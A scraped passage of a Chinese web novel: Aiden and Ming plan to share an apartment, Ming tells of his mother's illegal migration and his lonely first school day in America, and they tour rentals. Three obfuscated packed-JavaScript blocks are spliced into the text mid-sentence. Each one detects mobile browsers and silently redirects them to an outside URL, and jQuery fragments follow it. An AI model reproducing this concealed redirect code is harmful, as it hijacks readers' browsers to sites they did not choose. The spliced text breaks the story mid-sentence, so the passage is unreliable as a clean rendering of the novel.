;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041195|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旗息鼓了,他心平静气地踏入浴缸,把手机拿下来,放在浴缸边上,又离自己近了些。 “于是,我就想到了——如果我想要开始一段认真的感情的话,就不能再这么继续游戏人间了。我也说不好,Ming,我自从跟她分手后就一直在考虑这件事,我猜,大概是因为我的确没有爱上过任何人,所以想要知道那会是什么感觉吧。总而言之,我把房间让给了那个女孩,自己打车回学校订的酒店了。老实说,其实没有人会知道球队训练时在迈阿密发生了什么,我也可以对未来会遇到的那个人隐瞒过去的一切,但我就是突然没了兴致,你懂吗?就突然觉得这种露水情缘一点意思都没有。” “嗯,我懂。” 最后一件上衣也被脱掉,云决明慢慢沉入浴缸中,他的脑袋歪靠在浴缸上,耳朵紧贴冰冷的瓷面。这么一来,艾登的声音听起来就不再像隔了一千二百英里一样遥远,朦胧,而是像直接在自己身边一般。 “所以呢,你的一天怎么样?找到任何合适的公寓了吗?” “还没有,”他轻声说,其实他直到今天才真正下定决心,决定和艾登成为室友,“但我明天会去找找的。” “也不用找特别贵的,其实,我不介意跟你,还有洛克希挤在同一张床上的,但最好还是有两间卧室,两间洗手间。你总不想早上急着要去上课的时候却碰到我在上厕所吧。” “但我负担不起那么昂贵的公寓,艾登。” “你要是能给家教费打个折,我很乐意负担全部的房租。你知道我一个月要付给你多少钱吗?八千美金!这个钱连一栋五房六卫的大房子都能租了,Ming。” 那个夸张的家教费本来就是他为了让艾登知难而退才提出的,云决明笑了笑。“我可以免去家教费,艾登,但我不能让你出所有的房租,水电,还有生活费用。” “或者,”艾登的语调变了,仿佛他此刻就在云决明颊边坏笑,“我可以自己把整栋公寓租下来,然后把其中一个房间出租给你,既然我是房东,那么价格就随便我定了,对吧?” “你知道这跟施舍没什么两样,艾登。” “我都还没说我定的价格是多少呢,别这么快下结论。更何况,你又不是白吃白住,以前我要花八千美金才能得到每个月16个小时的补习时间,现在我只要花三千块钱就能得到不限时不定量的统计学补习,我可是赚翻了。当然,你要是大发慈悲一点,把补习收费改为两百美金一小时,我也能接受。这样,你赚来的钱不仅足够和我分摊房租,养活你自己也绰绰有余。” “我可以考虑一下。” “那我就先挂了,Ming,教练催促我们下楼吃晚饭了。” “好。” “拜拜,Ming。” “拜拜,艾登。” 他看着通话界面被挂断,看着手机屏幕慢慢暗下去,直到完全黑屏,才移开了视线。 走廊上传来了沉闷的脚步声,也许是隔壁的研究生,也可能是对门的上班族,接近了又逐渐远去,跟着是一声响亮的关门声。云决明往浴缸深处缩了缩,好似还能从管道里听见楼下含糊的对话,随着他的动作,浴缸里水波微漾,偶尔发出一点急促的哗哗声,但交织在这所有声音之上,似乎还有另外一道,更遥远,也更隐蔽,却又更嘹亮的声音,正悄悄响起—— 是细细的壳裂声,伴随着猛烈又有力的心跳,仿佛有什么正挣扎着从曾经坚实厚重的卵层中蜕出,滑进了浅滩,如一条搁浅的海豚般艰难扭动,他想要留在岸上生活,他想要适应阳光,他不想再再把自己牢牢地封闭在黑暗中,他有了艾登。 哗啦一声巨响,云决明从浴缸中起身,水花四溅,激散了满屋的雾气。他匆忙擦了擦身子,就这么湿漉漉地套上了衣服。没有望一眼镜子,没有再瞧一眼反射中那个模糊的,扭曲的,被层层冷漠所包裹的自己,云决明走出了浴室。 19. Chapter·Nineteen “这是我经过筛选后找到的四家公寓。” 在韩国甜品店里,云决明从书包里掏出了一个文件夹,推到了艾登的面前。和他被佛罗里达阳光晒成古铜色的肤色一比,云决明的手苍白得就像是在木桌上流动的一滩牛奶,也许是夹杂了一点芦荟口味的那种。因为在那近乎透明的肌肤下,清晰的青色血管蜿蜒流过,投下了一点暗蓝色的阴影。 春假结束了,从佛罗里达返回约州的飞机晚上七点才启程,爷爷去机场接的艾登。他在车上就累得呼呼大睡了,到家后更是连澡都没洗,牙也没刷,便直接扑到了床上,枕着自己相熟的床单棉被滚入梦乡。 这一觉睡得极香,却差点叫他迟到。他一路开车风驰电掣,直接把车停在了教师专用停车场里——教练把他的停车许可给了他和杰森,算是一种激励,只要他们刻苦训练,维持成绩,就能保留这种小小的特权。接着再一路飞奔进教学大楼,赶在凯斯勒教授将要关上门的那一刹那挤了进去。艾登喘着气走进教室,一抬头,便看见云决明坐在老位置上,一手转着笔,一手搭在桌上,远远地望着他,脸上隐约有笑意。 似乎有什么不一样。他意识到了这一点。 但艾登又说不清那是什么,就像此刻,他注视着云决明打开文件夹,一一取出四份资料,每一份上面都有周边的治安评估,有公寓本身印发的宣传册,还有打印好的户型图,以及谷歌地图上人们对这个地方的评价,心里知道这就是他,这就是Ming会做的事情,他会像对待学习一样细致认真地对待租房这回事,不管他究竟对这件事有没有兴趣。却又不禁注意到某些小小的细节产生了变化,像是眉毛,像是他偶尔抬眼瞥来的眼神,他嘴角扬起的弧度,他瘦弱的肩膀—— 云决明的神色依旧清冷,不动声色,没有太多的情绪——他很适合去当个赌徒,艾登第一次见到他时就这么觉得,没人能猜出他到底是不是在诈唬,也无从猜测他是否拿到了一手好牌。但此刻,好像一堵看不见的墙壁被推翻,倒塌,化为齑粉了,艾登有种奇怪的感觉,就仿佛他终于能真正触碰到云决明了一般,他不停地去看他们同样都放在桌子上的手,彼此之间只差两英寸,但他老觉得那些手指似乎已经连在了一起,肌肤黏着肌肤,像两块摔在一起的蜂蜜块,前一秒它们还是两个独立的个体,彼此还从未见过面,下一霎,它们就永远地成为了一个整体,没人能完整地把它们分开,除非要冒着把两块都弄碎的风险。 “艾登,你在认真听吗?” “嗯?”他回过神来,看着被推到自己面前的那一份资料,上面写着“橡树山庄”,封面的宣传图很漂亮,阳光直直照射在公寓的外墙上,中庭里的游泳池水波清澈,两个穿着比基尼的性感女孩在一旁晒着太阳,好似是在暗示潜在租客,要是来了这儿就能看见这样的美景。 “这间公寓离学校最近,开车只要十分钟。它的户型分为好几种,只有租独栋的住客所饲养的犬只可以不受体重和品种的限制。四月份的时候会有一户租户要搬走,我们最早可以于4月5号左右搬进去,因为他们需要好几天的时间来对整间公寓进行消毒和清洁。” 艾登拿起户型图看了看,一楼是车库,二楼是厨房,餐厅,客厅,阳台,洗衣房,以及半个宾客专用洗手间,三楼有两间主卧,都带步入式衣柜和洗手间,此外还有一间小书房。这正是艾登需要的,一个私密的空间,好用来收纳他收集到的那些资料——那些证明他父亲的死亡根本不是一场普通的凶杀案,而是一场连环杀手案件中一项的资料。 “我觉得很不错。”他说道,瞥了一眼独栋出租的价格,一个月四千二百美金,不包括水电煤气,物业费,下水道费,及垃圾处理费。宠物每月房租为三百美金。这么一来,约莫每个月的实际房租支出大约在五千块钱上下。 还行。艾登每个月能从他曾祖父母为他设立的信托基金中拿到两万美金,这点开销对他来说不成问题。 “假设我每个月给你补习20个小时的统计学,那么我就可以跟你平摊房租,以及其他的一切费用。”云决明接着说,看来他连这些都已经计划好了,“你感兴趣的话,我们可以周四下午在你训练结束后去看看这套公寓。” “Coffee ready!”老板在柜台后喊了一声。 “我去拿。”艾登立刻跳了起来,这已经成了他与云决明之间的默契,每次去拿咖啡时都会带回一块栗子蛋糕。统计学课一结束,他们并肩离开,一路随便说说笑笑,脚步自然而然地就来了这间甜品店,仿佛这也成了某种默契——课后消磨时间必然是来这儿的。 “I save you one。”老板看见他来,高兴地从身后的的柜台里端出一块蛋糕。艾登预付了钱,请他每天都为云决明预留一块栗子蛋糕,如果下午四点以前他们没有出现,老板就可以把蛋糕卖出去。“谢谢。”他说道,接过了蛋糕,同时把银行卡递给老板,支付咖啡的钱。 幸好云决明不是什么骨气大于天的人,对他请杯咖啡蛋糕这样的事都要算个清清楚楚,但他过来给艾登补习的时候会给奶奶和妈妈各买一束花,会为自己捎带咖啡,也给艾莉带一盒小点心,算是回礼。艾登很喜欢他这一点。 他偏头向云决明望去。甜品店人来人往,大门总是开开关关的,寒风不断灌入,因此他还穿着那件大衣,静静地坐在位置上,苍白的一张脸放空地望着某处。美国的女孩子要是像他那么白,到了夏天脸上准会生出许多雀斑,而且显得病态。但云决明不会给人这种感觉,也许是因为他的五官柔和得像幅油画,因此恬静的色彩反而更适合他。可能注意到了艾登的目光,他动了动脑袋,栗子尖一样的下巴倏地藏进领子,整个人仿佛要被淹没在黑色的锦纶布料中。 艾登突然明白有什么不一样了。云决明看起来比从前要清晰得多,他的眉眼不再雾蒙蒙的,也不再紧缩在椅背上,肩膀像蚌壳一样封闭着,想尽一切办法拉开与别人的距离。当艾登笑着望向他——就像此刻——他的目光也不再带着细微的躲闪,而是自然地在半空中打了个照面,又从容地移开。 他端着咖啡,蛋糕,颇有点艰难地挤进狭小的座位中。课后的这一个小时原本是要用来讨论刚出的期中考试成绩,艾登考了82分,他自己觉得还不错,但云决明却很不满意——不过,这会似乎没有谁想提起学习。今天天气很好,充沛的阳光经过一个冬天的冷却,发酵成了啤酒一般的金黄,暖洋洋地铺在桌上,让栗子蛋糕看起来像个庄重的坚果城堡。 “所以,你的家里人是怎么看待你搬出去这件事的?”艾登随口问了一句,他发觉云决明从不谈论他的家人,到现在为止,他对他的家庭了解也仅限于云决明曾经在奶奶面前提到过的那么一句。 “问这个干嘛?”云决明的叉子顿住了,表情也有点不自然。 “很少见中国家庭会主动把孩子赶出去,”他家是个例外,“一般的中国父母都欢迎自己的孩子在家里住到天荒地老,甚至结婚了都未必会搬出去,对白人那一套‘孩子大了就该独立’嗤之以鼻。所以我有点好奇。” 其实也不能算是好奇,说是关心更贴切。但艾登很清楚,他要是打着“关心”的旗号询问云决明,后者是决计不会开口的。 “没什么反应,”云决明垂下眼睛,“我很早就说了我可能要搬出去住,我妈什么也没说,只叫我找好房子跟她讲一声,她好把我的房间出租出去。” 这个反应真是冷漠,艾登敢打赌云决明目睹他母亲对他搬走这件事无动于衷的那一刹那,心中一定很失望。 有一部分的艾登很想说“我很抱歉听到你这么说,老兄”,另一部分的艾登则想谴责几句云决明母亲的漠不关心,但他知道无论哪边都不是云决明想要听到的话,他总是希望人们能够忽视他不经意间流露出来的脆弱或者是尴尬,不要进一步追问,或者谈论。 “所以,她听上去倒是挺像那些巴不得孩子一上大学就赶紧从家里消失的白人妈妈,我跟你说,不少人还盼着自己的母亲能这么痛快地放手呢,”艾登用故作轻松的语气说道,“如果她是跟着你一起在七年前移民到美国的话,她适应得倒还不错。” 云决明还是垂着眼睛,但他好像是在思考着什么,睫毛轻颤,面容肃穆。艾登等了他几秒,就见他突然抬起头来,好似下定了什么决心。 “告诉你也无妨,”他轻声说,“我妈妈是十二年前偷渡来美国的。她当时在澳门打|黑|工,有天来了个蛇头,说可以给她们介绍在美国的工作,能赚上比在澳门多得多的钱。她心动了,交了一大笔‘买路费’,就跟着去了。等到了美国境内才知道被骗了,根本没有工作,蛇头只负责把她们弄进美国,其余的就一概不管了。她当时没有护照,没有钱,只好先在中餐馆找了份刷盘子的工作。后来她拿到了美国绿卡,就开始着手把我也弄到美国去。” 云决明说话的速度很正常,他省略了很多细节,但都不难猜出,一个没有身份的异国女子唯一能得到绿卡的途径,就是婚姻。从之前云决明提到他家庭的语气来看,这段婚姻多半并不怎么美满。 “当时你应该很高兴能跟母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041196|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新团聚吧。”他小心翼翼地挑了一句觉得最不会出错的话,与自己的母亲分隔五年,对那个年龄的孩子来说,一定很难熬。 云决明神色古怪地看着他,“那是我第一次和母亲见面。” “第一次?”艾登吓了一大跳,还好他在听见这句话以前就把咖啡咽下去了,“我不是想要打听你的私事或者什么……可是,这怎么可能呢?” 他想起了自己的父母,他记得父亲还没去世的时候,经常因为工作需要出差,每一次他都表现得很难过,会一再抱着他和艾莉,频繁亲吻他们的头发,重复叮嘱他们同样的话。回家后,他会迫不及待地冲向他和艾莉,用新长出来的胡茬去刮他们的脸,在他们大嚷着停下的时候才从身后掏出礼物,等着听他们兴奋的尖叫——如果有谁告诉他得等到孩子们长到十一岁,才能与他们相见,艾登觉得父亲会不惜一切代价,也要把儿女夺回自己的怀抱。 他没法理解这一点。 “没什么好奇怪的,”云决明若无其事地说道,就像在叙述别人的故事。他看起来冷静得可怕,而且毫无理由地切换到了英文,“我妈妈很年轻的时候就有了我——她高中念完就离开了家,南下去广东打工,遇见了我的生父。她是个没什么经验的乡下女孩,三言两语就被忽悠得昏头转向,被搞大了肚子。对方一直哄着她,说会对她负责,会娶她,会对她好,所以我妈妈天真地留下了我,直到后来那男人有一天丢下一笔钱就突然消失得无影无踪,她才意识到自己被骗了,可她那时候已经怀了我八个月,打不掉了。” “那……那之后呢?” “之后?”云决明嘴角勾起一点讥讽的笑意,“之后,大约在我一岁前后,她把我丢给当时刚刚高中毕业不久,偷了家里一大笔钱出来接济她的小姨,跟一个刚认识没多久的女孩一起偷渡去澳门打工了。” 艾登不敢往下问了,一个才满十八岁的女孩要独自带着一岁大的孩子在异乡打拼,他根本不敢去想象那会有多么艰苦。 “我的外公外婆听说我妈妈未婚先孕,气得一个中风,一个心脏病发,发誓这辈子不再认她,就当自己没生过这个女儿。我小姨不敢带着我回去,就只好留在广东,一边照顾我,一边找一些零碎的活干。好在,她很快就认识了我小姨夫,他年轻的时候出了车祸,没有生育能力,因此愿意接纳我和小姨,把我当成他自己的孩子抚养。那时候管的不严,他们找了关系,把我的户口上在姨夫家,就当我是他家的孩子。一直到十一岁以前,我都叫陈决明。” 除了不太懂云决明口中的“户口”是什么,艾登已经听得呆住了。 “所以,十一岁的时候,我妈妈突然出现在我小姨家,要带走我,那就是我第一次见到她。”就像是给一份报告随意地做个结尾似的,云决明冷漠地讲完了故事最后的一部分。最让艾登感到不解的是,即便提起把他养大的小姨和姨夫,他也像谈论两个陌生人一般地描述着他们,好似已经没有任何爱意遗留。 “对不起,我不应该打听的……” “没关系。”云决明截断了艾登的话,他跟后者说话的语气比他刚才议论家人的语气要温和得多,反而越发让艾登觉得悲伤,“如果我们要成为室友,这些事情你迟早都会知道的,现在说跟以后说没什么两样。” 他开始攻克那块栗子蛋糕,不知道是因为嘴馋了,还是想要掩盖气氛中若有若无的那么一点尴尬。 艾登深吸了一口气。 这个故事给他心里带来了某种异样的感受,超越了语言所能描述的范畴,跃进了一个更深层次的,艾登暂时还没法理解的曲面。像一艘突然消失在眼前的外星飞船,你不知道它是飞向了过去,未来,还是一个更高维的空间,也没有办法理解它奇特而独立的存在,只知道它出现过,消失过,并且总有一天会回来,让人再度为之目眩神迷。 他唯一能清楚感受到的,就是在云决明细声讲述这个故事的刹那,一丝共鸣在他们彼此之间架起了一座桥梁,尽管他们都在童年感受到过的痛苦和悲哀不尽相同,但是父母的所作所为——不管是抛弃,离去,重逢,死亡,还是漠然,会带给孩子的影响总是有那么一点跌跌撞撞的共通之处。这一刻,他突然明白,在他和艾莉的争吵之后,为什么云决明能说出那样一番话,为什么那些字句能那么深刻地打动他。尽管那时候谁也没有意识到,但他们之间的联系从那个晚上就已经开始建立了。 “所以,星期四对吧?”艾登露出了灿烂的笑容,“你觉得我们有可能一次性把你筛选出的这四套公寓都看完吗?” 20. Chapter·Twenty 头发湿漉漉地走出训练场的艾登,一眼就瞧见了倚靠在通往停车场阶梯栏杆上的云决明。 他扭头望着远方,双手插在大衣口袋里,深蓝色的毛衣显得人有些单薄,黑色的登山靴抵着水泥地,因为瘦弱而更显纤长。训练结束于四点,约州的日色已经西斜,锋利的勾月在另一边升起,沉静深蓝的颜料从顶端倾泻而下,洗净了所有雨雾,让明黄就那么干干净净地悬在天际,清楚的分割线阻绝了落日燃起的大火,灰烬袅袅上升,在紫色画布上印出连绵不绝的殷红血渍。云决明瞧的是夕阳那一边。 艾登轻手轻脚地走过去,猛然一拍他的肩膀。云决明浑身一震,那双眼睛就像受惊的小鹿般转了过来,望着因为恶作剧得逞而哈哈大笑的艾登。 “你没等很久吧?”收敛了嬉皮笑脸,艾登和云决明并肩向停车场走去。他只花了一分钟就洗完了澡穿好了衣服,这会其他队员都还在更衣室里,没有出来——倒不是因为艾登不想把云决明介绍给他的队员们,而是因为他知道那帮人嘴里说不出什么好话,尤其是杰森。当初推特上有个女生爆出云决明就是那个自己亲吻过的男孩时,是杰森亲自打电话给对方,要求对方把推文删掉的。 “这种女人真是有病,”他在做力量训练时偶然提到了一句,满脸厌恶不屑,“竟然暗示你是个娘娘腔的同性恋,简直恶心到了极点。” “我不在乎,杰森。”艾登那时沉着脸回了一句,“她们只是说着玩而已,没有人会当真的,这件事很快就会过去。” “随你怎么说,艾登。”杰森放下杠铃,神色阴戾,“我不会容许有人这样造谣我的队员,更何况,这对士气也不利,没人想看一个基佬打球,或者在同一间更衣室里换衣服,艾登,即便一切只是传言或玩笑。” 凭着这一点,艾登就猜到他的队员们对云决明的态度不会太友好。即便之前提议让他跟着一块去迈阿密度假,艾登原本也不打算让云决明和橄榄球队碰面。 “没等很久。”云决明挠了挠鼻子,可爱地抽了一下通红的鼻尖,“我刚从图书馆走过来。” 橄榄球队的日常训练用的是另一个小规模的训练场,只有进行乱战训练或者是夏季模拟赛时才会动用大体育场。小训练场离图书馆很近,走过来只要十分钟。 “一整天都待在图书馆?”艾登知道云决明今天没课。 “嗯,”他应了一声,把书包往上又提了提,“历史课这周作业很多,要写一篇十五页的论文。” “那就开我的车去吧,”艾登干脆地说道,他的车是辆2013年的红色福特野马,非常显眼,老远就能瞧见,“等看完公寓了,我再把你送回学校。” “好。”云决明从口袋里抽了一张纸出来,是份打印好的地图,上面用红笔画出了一条蜿蜒扭曲的线,认真地说道,“我已经规划好路线了,用时最少,红绿灯也不多,谷歌地图是给不出的。” 接过地图的艾登忍不住又笑了起来。 快走到车子边的时候,他接过了云决明的书包,想帮他放好。背带落下的瞬间,他的手臂毫无防备地沉了沉,不由得吃惊于不大的帆布包里惊人的沉甸甸重量,“你这里面装了什么,壶铃吗?”他说着,把两个书包甩进后座,相比之下,他只塞了笔记本电脑和训练服的包就跟块海绵似的。 “课本,笔记本,电脑,资料,还有两本刚从图书馆借走的书,”云决明在前排坐好,不以为然,“跟我在国内上学时的书包比起来,重量轻多了。” “在国内上学……是怎么样的?”车子缓缓驶出停车场,艾登好奇地问道。他从来没回过中国,奶奶倒是很希望他能回去看看——最好还能锻炼锻炼他的中文口语。但他每年夏天不是有FBI的实习,就是有橄榄球训练,根本没有时间旅行。 他在开车,因此只能偶尔瞥一眼云决明。后者的视线转向了窗外,艾登只能从倒影上看见他模糊的五官,说不清是在感伤,还是露出了微笑。 “最大的不同……可能是从开学到毕业,大家都待在同一个教室上不同的课吧”他轻声说,“所以一个班上的同学之间感情很好,也很团结,大家都卯足了劲,想成为全年级最出色的那个班,想让自己的班主任骄傲——” “什么是班主任?”艾登不解,他没法听出这个中文词汇的意思。 “就是负责班级所有事务的老师,如果他的班级整体成绩很好,在团体竞赛中也能得到优异的成绩,那就证明了他的领导才能和管理才能,因此会让他很骄傲。” “这种教学模式难道不会带来很多问题吗?”艾登不解地问道。 “啊?”云决明愕然地转过头,从他的神色上来看,他压根没想过国内的教育系统能有任何差错。 “打个比方,”艾登在红灯前停了下来,认真地思索了几秒钟,“这种模式就有点像哈利波特里面的分院仪式,从一入学就注定了谁是勇敢的,谁是中庸的,谁是聪明的,谁是精明世故的。大家都更愿意支持自己学院里的人,同时还额外仇视别的学院的同学,所以到了最终大战的时候,斯莱特林学院的学生都几乎跑光了——如果不是因为七年来的教育都在不断向他们灌输自己就该是个识时务,见风使舵的斯莱特林的话,说不定会有许多人选择留下来战斗呢。” “也有可能J.K.罗琳这么写,只是为了迎合大家对斯莱特林的刻板看法,”云决明眉头一挑,“要是真有一个魔法世界的话,或许现实根本不会像她笔下所描写的那样。” 没想到对方会这么反驳自己,艾登愣了一下,这时车后喇叭声大作,他才发现信号灯转绿了,赶紧拉回注意力。 “你没有经历过国内的这种教育模式,你也从来没有在国内生活过,很难明白那是一种怎样的感觉,”云决明再度别过头去,“当我第一次来到美国上学的时候,第一堂课是数学课。下课后,所有人都走了,只有我一个人还不知所措地留在座位上。我是那所中学的第一个入学的中国人,替我办理入学手续的校长助理以为全天下的教育模式都跟美国一样,从没想过告诉我下课要换教室这件事。” 艾登握在方向盘上的手微微扣紧,如今听到云决明假装若无其事般地谈起他的过去,就让他有一种心脏也跟着收紧的感觉。好似他们之间无形的联系允许他感受到对方真正的心情。他们如同两颗孤独的流星,环绕着那艘无人知晓目的地的外星飞船不断飞行,每一次轨道的交错都让他们更接近彼此,都让他们能分享一点彼此的痛苦。 “我就在那儿茫然地坐着。然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041197|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,一大群学生突然涌了进来,我一个也不认识,而他们全都愕然地瞪着我,就像我是某种错误,某个不该出现,扭曲了现实的东西,某位入侵者一样。我很害怕,同时也很不解——明明我刚才才在这间课室上课,明明我就一直坐在这儿,为什么刹那间所有一切都不属于我了?但我很清楚我在这儿不受欢迎,所以我抓起书包,从教室里跑了出去。” 艾登默默地听着。他觉得云决明从来没跟任何人说过这些,不管是他的父母,还是他在国内的亲戚,甚至是心理医生,或者是过去的一个朋友。他的声音变得如此朦胧,仿佛他正陷入梦境和现实的夹缝,滑入睡意将醒未醒,日光将明未明的罅隙,既像在梦呓,又像在自言自语,可他的口吻又是如此的冷静,似是一个无情的观测者,只是如实地叙述着自己看到的一切。 或许只有这样他才能面对曾经的记忆,艾登心想,只有隔绝情绪,将自我完全排除在外,才能让他有勇气去回想曾经。 “我在走廊上游荡,下一堂课已经开始了,但我不知道我该去哪儿。其实我需要的一切都在校长助理给我的资料当中,告诉我该去哪层楼的哪间教室,然而我看不懂,我认识句子里的每个单词,可我无法拼凑出它想要告诉我的意思。有个教师拦住了我,他问我有没有走廊通行证,我不明白他的意思,但他觉得我在装傻,于是把我带去了校长办公室。折腾了很久,他们才弄明白,我完全不清楚自己在这所学校应该做什么。 “整个过程中,我都在想,为什么他们不采用国内的教育模式,为什么他们要让人跑来跑去,而你在学校唯一能拥有的,就是一个置物柜?为什么不是一间教室,不是一个座位,一个学号,一个固定的,被悄悄写上了自己名字的课桌?为什么我每换一堂课就要换一批同学?为什么我不能拥有一个固定的同桌?我觉得自己就像一只风筝,被人拽到不同的教室,却始终浮在空中,无法落脚,缺乏根须。而我想要的,是课间的小睡,是同桌悄悄指出的答案,是午休时躲在角落里和朋友打游戏,是一种在同一个屋檐下朝夕相处才能生长出的亲密,依赖,信任,集体荣誉感。只有在国内生活过,学习过,才能知道它有多么让人安心。” 云决明的话中的怀念带着一丝淡淡的怨,说不清是对谁,却深远幽长,就好像他正满怀爱意地捧起一个腐烂的橘子,一朵枯萎的鲜花,一条干涸的小溪,某种逝去不会再生的东西,执意要让艾登看见当初它们生机勃勃的模样。而他本人,就像一株被放在错误的土壤中成长的树苗,细瘦而忧郁——然而,最让艾登感到悲哀的不是他如今的模样,而是他本可以成为一颗繁盛茂密,树冠若伞,遮天蔽日的挺拔大树,却永远痛失了这个机会。 “我收回我的话。”即将要拐进橡树山庄的前一刻,艾登开口了,“对你来说,没有比那更好的模式了。我很抱歉,Ming。” “没必要道歉,艾登,这不是你的错。” 汽车驶入宁静的社区,奇怪的是,这里叫橡树山庄,种的却全是榆树,密密的树影为云决明的脸罩上了斑驳明暗的面具,让人看不清他的神色,只能听见他淡然又疏离的声音响起,一如既往的平静,仿佛已经知道艾登为之遗憾的究竟是什么。 “也不是任何人的错。” 21. Chapter·Twenty-One 拜访完第三个小区以后,已经五点三十四分了。 天黑得很突然,艾登走进住户中心归还钥匙时天空仍是灰红色的,像正在燃烧的纸张,边缘焦黑,由灰过渡到中央滚烫的鲜红。云决明讨厌与陌生人寒暄,所以他等在门外。不过数分钟的时间,艾登走出的时候,身穿黑色大衣的云决明就似乎已经与夜色融为一体。 下一刻,路灯突然亮起,照亮了他那张柔和的脸。 他们在每一套公寓上面花费的时间都比艾登原先想象的要久。云决明的关注点非常单刀直入,他会先看看卧室,测试一下隔音,最后再确认盥洗室是否有任何难以清扫的卫生死角,就算完毕。他不在乎给公寓提供网络和卫星电视服务的是哪家公司,也不在乎水电煤气是由哪个机构进行监管收费的,当艾登询问这些问题的时候,他会很安静地坐在样板公寓的沙发上,默默地读着他从图书馆新借出来的书。 这时候,艾登的注意力总会不自觉地转到他身上。 每个样板公寓的装潢都不一样,有一个是美国现代工业风格,竭力要让潜在客户意识到这间公寓可以奢华到什么地步。宽敞客厅里摆放的真皮沙发带着凌厉的尖角,好似不穿高跟鞋,不系领带,就没法坐在上面。正对面的厨房有着干净利落的黑色大理石流理台面,任何不是高级玻璃制品的餐具放上去说不定都会遭受一番鄙视。另一间是温馨的田园风格,主卧里摆放着白桦木家具,床单上至少堆了十七个枕头,茶几上的水果是新鲜的,领着他们看房的接待每说几分钟的话,就要给所有摆出来的鲜花水果都喷点水雾。 “这样能让它们多保持几天新鲜。”她解释道,不好意思地笑了笑。 但艾登都不记得自己询问了她为什么要这么做,他的注意力专注在别的地方,极力想要想象出自己和云决明居住在这儿的景象。看见厨房时,他试图拼凑云决明站在那儿给早餐麦片倒牛奶的模样;看见餐桌;他又企图描绘出桌上铺满课本,资料,笔记本电脑和iPad同时工作,而云决明正十指如飞,要赶在死线前提交论文的场景;他也会把自己扔进沙发,然后思索着这是否就会是周六晚上的常态,他缩在这一头打游戏,而云决明在另一头看书。 但是这么做很难,特别当招待在他耳边喋喋不休地吹嘘着这个小区拥有多么棒的住户中心,里面附带的健身房在网站上得到了多少好评,游泳池的开放时间又是从几月到几月的时候。他能凝聚起来的都是一些模糊不清的片段,像台老旧的电视,总是调不到自己想要的频道。云决明对公寓没有任何要求,“ 有张床,有干净的洗手间,对我来说就足够了。”是他的原话。听上去,他只想找个能住的屋子,但艾登希望看到的,是个能一起生活的家。 他想给云决明一个能令他安心,让他觉得自己能落脚,能扎根,能放松的地方,不再是一只虚无缥缈,没有归属,只能被人从一个地方拽到另一个地方的风筝。 结果,就是艾登不停地在公寓里上上下下,从这个房间绕到那个房间,这条走廊转到那条走廊,东张西望,期盼自己的双眼能在哪个角落突然捕捉到一帧清晰的图像,如同在水晶球里得到的对未来的迅速一瞥,能有力地证明他和云决明将会在这间公寓里过得非常愉快,从而使他干脆地做出一个决定。 也许是因为千篇一律的样板间布置,艾登一无所获。每一套公寓都很好,符合他所有的要求,价格也相差无几。要是第四间仍然是这样,艾登心想,他可能得用古老的抓阄方式来决定自己到底想住哪一套。 “这里写了管理中心六点钟才下班,”云决明掏出手机确认了一下,“我们还有足够的时间过去。” “那儿叫什么?” “河际联合公寓。” “这个名字倒是够正经的,听上去像专门提供给教授和医生的宿舍。” 他们轮流打趣了一番这个小区,就在笑意即将从车内消散的前一刻,云决明突然转过头来,“艾莉最近怎么样?” 他问得又快,又含糊,就像他打不定主意自己是不是该说出这句话似的。 “艾莉?”艾登愣了愣,春节后他一直很忙碌,几乎没跟自己妹妹打过照面,“我最近没怎么管她,倒是奶奶上心多了,好几次我都撞见奶奶在跟她谈心——不过,妈妈告诉我,有一次艾莉告诉奶奶她想在油管上当网红,把奶奶吓了一跳,不允许她在网上弄那些‘龙砖盐摸,搜搜弄姿’的事情,那之后艾莉就不肯跟奶奶说话了。” “什么?”云决明一下子坐直了身子,“那八个字是什么?” 艾登放慢了速度,又说了好几次,才让云决明弄清楚奶奶的原话是“浓妆艳抹,搔首弄姿”,艾登对这两个词表达的意思一知半解,云决明耐着性子跟他解释了好一会,才让他明白这两个词对女孩子来说不算什么好话。“我还以为你的奶奶观念很开放呢。”他最后又加上了一句。 “有些事情上是这样,”比方说奶奶可以接受她唯一的孙子是个同性恋,虽说艾登觉得她不需要担心这一点,“但有些事情上,奶奶还是很保守的,尤其是因为她在美国的五十年代长大,她对于女性的观点尤其传统——老实说,她愿意支持妈妈在生完艾莉以后出去工作,都已经让我觉得是个奇迹了。” 这个话题随着他驶入停车场而结束,河际联合公寓其实就在第三个小区的对面,艾登在红绿灯那儿掉个头,开一小会就到了。“你进去拿钥匙吧。”云决明解开安全带时说,“我就不进去了。” 知道云决明不擅长应付热情的招待小姐,艾登没有勉强他。 